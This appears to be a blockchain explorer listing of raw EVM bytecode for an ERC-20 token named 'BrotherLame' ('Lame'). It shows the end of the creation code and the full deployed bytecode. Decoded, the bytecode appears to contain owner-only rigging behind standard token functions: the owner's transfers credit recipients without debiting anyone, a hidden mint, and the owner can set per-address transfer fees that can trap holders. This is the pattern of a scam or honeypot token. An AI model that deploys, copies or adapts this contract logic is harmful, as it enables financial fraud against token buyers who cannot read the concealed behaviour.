ee84610639610e39565b6106e98560405180606001604052806028815260200161224d60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061069f610e39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169e9092919063ffffffff16565b610e41565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b60006107b961071d610e39565b846107b4856003600061072e610e39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e2390919063ffffffff16565b610e41565b6001905092915050565b6107cb610e39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084f90611d4d565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610915610e39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099990611d4d565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6109fe610e39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290611d4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af190611ddf565b60405180910390fd5b610b038161100a565b50565b606060098054610b1590611caa565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4190611caa565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b610ba0610e39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2490611d4d565b60405180910390fd5b8060058190555050565b6000610cfa610c44610e39565b84610cf5856040518060600160405280602581526020016122756025913960036000610c6e610e39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169e9092919063ffffffff16565b610e41565b6001905092915050565b6000610d0e610d73565b73ffffffffffffffffffffffffffffffffffffffff16610d2c610e39565b73ffffffffffffffffffffffffffffffffffffffff1603610d5657610d5183836116f3565b610d69565b610d68610d61610e39565b84846110ce565b5b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610e319190611e2e565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea790611ef6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1690611f88565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ffd9190611b1f565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361113d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111349061201a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a3906120ac565b60405180910390fd5b6111b7838383611886565b61120981600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188b90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000806000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff160361136657600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611305576005549050611361565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036113605760065490505b5b6113b9565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1690505b60006113e160646113d384876118a190919063ffffffff16565b6118b790919063ffffffff16565b6113eb9190611e2e565b9150600082111561156357600161146c8360026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e2390919063ffffffff16565b61147691906120cc565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161155a9190611b1f565b60405180910390a35b60016115ce600084866115769190612126565b6115809190611e2e565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e2390919063ffffffff16565b6115d891906120cc565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600085876116789190612126565b6116829190611e2e565b60405161168f9190611b1f565b60405180910390a35050505050565b60008383111582906116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd9190611966565b60405180910390fd5b5082840390509392505050565b6116fb610d73565b73ffffffffffffffffffffffffffffffffffffffff16611719610e39565b73ffffffffffffffffffffffffffffffffffffffff161461176f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611766906121cc565b60405180910390fd5b61178161177a610e39565b8383611886565b6117d381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e2390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16611835610e39565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161187a9190611b1f565b60405180910390a35050565b505050565b600081836118999190612126565b905092915050565b600081836118af91906120cc565b905092915050565b600081836118c5919061221b565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156119075780820151818401526020810190506118ec565b83811115611916576000848401525b50505050565b6000601f19601f8301169050919050565b6000611938826118cd565b61194281856118d8565b93506119528185602086016118e9565b61195b8161191c565b840191505092915050565b60006020820190508181036000830152611980818461192d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119b88261198d565b9050919050565b6119c8816119ad565b81146119d357600080fd5b50565b6000813590506119e5816119bf565b92915050565b600060ff82169050919050565b611a01816119eb565b8114611a0c57600080fd5b50565b600081359050611a1e816119f8565b92915050565b60008060408385031215611a3b57611a3a611988565b5b6000611a49858286016119d6565b9250506020611a5a85828601611a0f565b9150509250929050565b6000819050919050565b611a7781611a64565b8114611a8257600080fd5b50565b600081359050611a9481611a6e565b92915050565b60008060408385031215611ab157611ab0611988565b5b6000611abf858286016119d6565b9250506020611ad085828601611a85565b9150509250929050565b60008115159050919050565b611aef81611ada565b82525050565b6000602082019050611b0a6000830184611ae6565b92915050565b611b1981611a64565b82525050565b6000602082019050611b346000830184611b10565b92915050565b600080600060608486031215611b5357611b52611988565b5b6000611b61868287016119d6565b9350506020611b72868287016119d6565b9250506040611b8386828701611a85565b9150509250925092565b611b96816119eb565b82525050565b6000602082019050611bb16000830184611b8d565b92915050565b600060208284031215611bcd57611bcc611988565b5b6000611bdb848285016119d6565b91505092915050565b611bed816119ad565b82525050565b6000602082019050611c086000830184611be4565b92915050565b600060208284031215611c2457611c23611988565b5b6000611c3284828501611a85565b91505092915050565b60008060408385031215611c5257611c51611988565b5b6000611c60858286016119d6565b9250506020611c71858286016119d6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611cc257607f821691505b602082108103611cd557611cd4611c7b565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6e6e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d376022836118d8565b9150611d4282611cdb565b604082019050919050565b60006020820190508181036000830152611d6681611d2a565b9050919050565b7f4f776e61626c653a206e6577206f776e6e6e657220697320746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b6000611dc96028836118d8565b9150611dd482611d6d565b604082019050919050565b60006020820190508181036000830152611df881611dbc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e3982611a64565b9150611e4483611a64565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e7957611e78611dff565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ee06024836118d8565b9150611eeb82611e84565b604082019050919050565b60006020820190508181036000830152611f0f81611ed3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f726022836118d8565b9150611f7d82611f16565b604082019050919050565b60006020820190508181036000830152611fa181611f65565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006120046025836118d8565b915061200f82611fa8565b604082019050919050565b6000602082019050818103600083015261203381611ff7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120966023836118d8565b91506120a18261203a565b604082019050919050565b600060208201905081810360008301526120c581612089565b9050919050565b60006120d782611a64565b91506120e283611a64565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561211b5761211a611dff565b5b828202905092915050565b600061213182611a64565b915061213c83611a64565b92508282101561214f5761214e611dff565b5b828203905092915050565b7f4f6e6c79206f776e6e6e65722063616e20706572666f726d207468697320616360008201527f74696f6e00000000000000000000000000000000000000000000000000000000602082015250565b60006121b66024836118d8565b91506121c18261215a565b604082019050919050565b600060208201905081810360008301526121e5816121a9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061222682611a64565b915061223183611a64565b925082612241576122406121ec565b5b82820490509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200f13efa36ffea0d386fc1209d9cae3994113ed42180e0952837dd6a2f1b751ae64736f6c634300080e0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000000090000000000000000000000000000000000000000000000000de0b6b3a7640000000000000000000000000000000000000000000000000000000000000000000b42726f746865724c616d6500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044c616d6500000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806349bd5a5e116100ad578063a1bfe7bd11610071578063a1bfe7bd1461030a578063a457c2d714610326578063a9059cbb14610356578063a9eca89214610386578063dd62ed3e146103a457610121565b806349bd5a5e1461025257806370a08231146102705780637770aec3146102a05780637bcbae9c146102d057806395d89b41146102ec57610121565b806321af32fe116100f457806321af32fe146101ae57806323b872dd146101b8578063313ce567146101e85780633950935114610206578063444a2a9c1461023657610121565b806306fdde0314610126578063088c2b7914610144578063095ea7b31461016057806318160ddd14610190575b600080fd5b61012e6103d4565b60405161013b9190611966565b60405180910390f35b61015e60048036038101906101599190611a24565b610466565b005b61017a60048036038101906101759190611a9a565b610557565b6040516101879190611af5565b60405180910390f35b610198610575565b6040516101a59190611b1f565b60405180910390f35b6101b661057f565b005b6101d260048036038101906101cd9190611b3a565b610620565b6040516101df9190611af5565b60405180910390f35b6101f06106f9565b6040516101fd9190611b9c565b60405180910390f35b610220600480360381019061021b9190611a9a565b610710565b60405161022d9190611af5565b60405180910390f35b610250600480360381019061024b9190611bb7565b6107c3565b005b61025a61089c565b6040516102679190611bf3565b60405180910390f35b61028a60048036038101906102859190611bb7565b6108c2565b6040516102979190611b1f565b60405180910390f35b6102ba60048036038101906102b59190611bb7565b61090b565b6040516102c79190611b9c565b60405180910390f35b6102ea60048036038101906102e59190611bb7565b6109f6565b005b6102f4610b06565b6040516103019190611966565b60405180910390f35b610324600480360381019061031f9190611c0e565b610b98565b005b610340600480360381019061033b9190611a9a565b610c37565b60405161034d9190611af5565b60405180910390f35b610370600480360381019061036b9190611a9a565b610d04565b60405161037d9190611af5565b60405180910390f35b61038e610d73565b60405161039b9190611bf3565b60405180910390f35b6103be60048036038101906103b99190611c3b565b610d9c565b6040516103cb9190611b1f565b60405180910390f35b6060600880546103e390611caa565b80601f016020809104026020016040519081016040528092919081815260200182805461040f90611caa565b801561045c5780601f106104315761010080835404028352916020019161045c565b820191906000526020600020905b81548152906001019060200180831161043f57829003601f168201915b5050505050905090565b61046e610e39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f290611d4d565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b600061056b610564610e39565b8484610e41565b6001905092915050565b6000600b54905090565b610587610e39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161060b90611d4d565b60405180910390fd5b61061e600061100a565b565b600061062d8484846110ce565b6106ee84610639610e39565b6106e98560405180606001604052806028815260200161224d60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061069f610e39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169e9092919063ffffffff16565b610e41565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b60006107b961071d610e39565b846107b4856003600061072e610e39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e2390919063ffffffff16565b610e41565b6001905092915050565b6107cb610e39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610858576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084f90611d4d565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000610915610e39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099990611d4d565b60405180910390fd5b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6109fe610e39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290611d4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610afa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610af190611ddf565b60405180910390fd5b610b038161100a565b50565b606060098054610b1590611caa565b80601f0160208091040260200160405190810160405280929190818152602001828054610b4190611caa565b8015610b8e5780601f10610b6357610100808354040283529160200191610b8e565b820191906000526020600020905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b610ba0610e39565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2490611d4d565b60405180910390fd5b8060058190555050565b6000610cfa610c44610e39565b84610cf5856040518060600160405280602581526020016122756025913960036000610c6e610e39565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461169e9092919063ffffffff16565b610e41565b6001905092915050565b6000610d0e610d73565b73ffffffffffffffffffffffffffffffffffffffff16610d2c610e39565b73ffffffffffffffffffffffffffffffffffffffff1603610d5657610d5183836116f3565b610d69565b610d68610d61610e39565b84846110ce565b5b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183610e319190611e2e565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea790611ef6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1690611f88565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ffd9190611b1f565b60405180910390a3505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f2b163cbadce6fbacbf9cf9582a523d2b07c06d96a8b44102cbfe80c40a39e21160405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361113d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111349061201a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a3906120ac565b60405180910390fd5b6111b7838383611886565b61120981600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461188b90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000806000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff160361136657600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611305576005549050611361565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036113605760065490505b5b6113b9565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff1690505b60006113e160646113d384876118a190919063ffffffff16565b6118b790919063ffffffff16565b6113eb9190611e2e565b9150600082111561156357600161146c8360026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e2390919063ffffffff16565b61147691906120cc565b60026000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161155a9190611b1f565b60405180910390a35b60016115ce600084866115769190612126565b6115809190611e2e565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e2390919063ffffffff16565b6115d891906120cc565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600085876116789190612126565b6116829190611e2e565b60405161168f9190611b1f565b60405180910390a35050505050565b60008383111582906116e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116dd9190611966565b60405180910390fd5b5082840390509392505050565b6116fb610d73565b73ffffffffffffffffffffffffffffffffffffffff16611719610e39565b73ffffffffffffffffffffffffffffffffffffffff161461176f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611766906121cc565b60405180910390fd5b61178161177a610e39565b8383611886565b6117d381600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e2390919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16611835610e39565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161187a9190611b1f565b60405180910390a35050565b505050565b600081836118999190612126565b905092915050565b600081836118af91906120cc565b905092915050565b600081836118c5919061221b565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156119075780820151818401526020810190506118ec565b83811115611916576000848401525b50505050565b6000601f19601f8301169050919050565b6000611938826118cd565b61194281856118d8565b93506119528185602086016118e9565b61195b8161191c565b840191505092915050565b60006020820190508181036000830152611980818461192d565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006119b88261198d565b9050919050565b6119c8816119ad565b81146119d357600080fd5b50565b6000813590506119e5816119bf565b92915050565b600060ff82169050919050565b611a01816119eb565b8114611a0c57600080fd5b50565b600081359050611a1e816119f8565b92915050565b60008060408385031215611a3b57611a3a611988565b5b6000611a49858286016119d6565b9250506020611a5a85828601611a0f565b9150509250929050565b6000819050919050565b611a7781611a64565b8114611a8257600080fd5b50565b600081359050611a9481611a6e565b92915050565b60008060408385031215611ab157611ab0611988565b5b6000611abf858286016119d6565b9250506020611ad085828601611a85565b9150509250929050565b60008115159050919050565b611aef81611ada565b82525050565b6000602082019050611b0a6000830184611ae6565b92915050565b611b1981611a64565b82525050565b6000602082019050611b346000830184611b10565b92915050565b600080600060608486031215611b5357611b52611988565b5b6000611b61868287016119d6565b9350506020611b72868287016119d6565b9250506040611b8386828701611a85565b9150509250925092565b611b96816119eb565b82525050565b6000602082019050611bb16000830184611b8d565b92915050565b600060208284031215611bcd57611bcc611988565b5b6000611bdb848285016119d6565b91505092915050565b611bed816119ad565b82525050565b6000602082019050611c086000830184611be4565b92915050565b600060208284031215611c2457611c23611988565b5b6000611c3284828501611a85565b91505092915050565b60008060408385031215611c5257611c51611988565b5b6000611c60858286016119d6565b9250506020611c71858286016119d6565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611cc257607f821691505b602082108103611cd557611cd4611c7b565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6e6e60008201527f6572000000000000000000000000000000000000000000000000000000000000602082015250565b6000611d376022836118d8565b9150611d4282611cdb565b604082019050919050565b60006020820190508181036000830152611d6681611d2a565b9050919050565b7f4f776e61626c653a206e6577206f776e6e6e657220697320746865207a65726f60008201527f2061646472657373000000000000000000000000000000000000000000000000602082015250565b6000611dc96028836118d8565b9150611dd482611d6d565b604082019050919050565b60006020820190508181036000830152611df881611dbc565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611e3982611a64565b9150611e4483611a64565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e7957611e78611dff565b5b828201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ee06024836118d8565b9150611eeb82611e84565b604082019050919050565b60006020820190508181036000830152611f0f81611ed3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000611f726022836118d8565b9150611f7d82611f16565b604082019050919050565b60006020820190508181036000830152611fa181611f65565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006120046025836118d8565b915061200f82611fa8565b604082019050919050565b6000602082019050818103600083015261203381611ff7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006120966023836118d8565b91506120a18261203a565b604082019050919050565b600060208201905081810360008301526120c581612089565b9050919050565b60006120d782611a64565b91506120e283611a64565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561211b5761211a611dff565b5b828202905092915050565b600061213182611a64565b915061213c83611a64565b92508282101561214f5761214e611dff565b5b828203905092915050565b7f4f6e6c79206f776e6e6e65722063616e20706572666f726d207468697320616360008201527f74696f6e00000000000000000000000000000000000000000000000000000000602082015250565b60006121b66024836118d8565b91506121c18261215a565b604082019050919050565b600060208201905081810360008301526121e5816121a9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061222682611a64565b915061223183611a64565b925082612241576122406121ec565b5b82820490509291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212200f13efa36ffea0d386fc1209d9cae3994113ed42180e0952837dd6a2f1b751ae64736f6c634300080e0033
